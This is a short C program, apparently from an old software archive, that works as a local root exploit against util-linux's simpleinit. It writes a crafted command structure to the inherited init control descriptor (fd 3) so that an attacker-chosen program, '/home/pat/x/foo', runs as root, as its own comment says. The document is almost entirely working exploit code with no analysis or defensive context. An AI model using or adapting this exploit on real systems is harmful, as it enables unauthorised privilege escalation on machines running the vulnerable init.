home *** CD-ROM | disk | FTP | other *** search
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
-
- #include "simpleinit.h" /* From the util-linux source */
-
- int main()
- {
- int fd = 3;
- char buf[COMMAND_SIZE];
- struct command_struct* cmd = (struct command_struct*) buf;
-
- memset(buf, '\0', sizeof(buf));
- cmd->command = COMMAND_NEED;
- cmd->pid = 17;
- cmd->ppid = 16;
- strcpy(cmd->name, "/home/pat/x/foo"); /* foo will be run as root */
- write(fd, buf, COMMAND_SIZE);
- return 0;
- }
-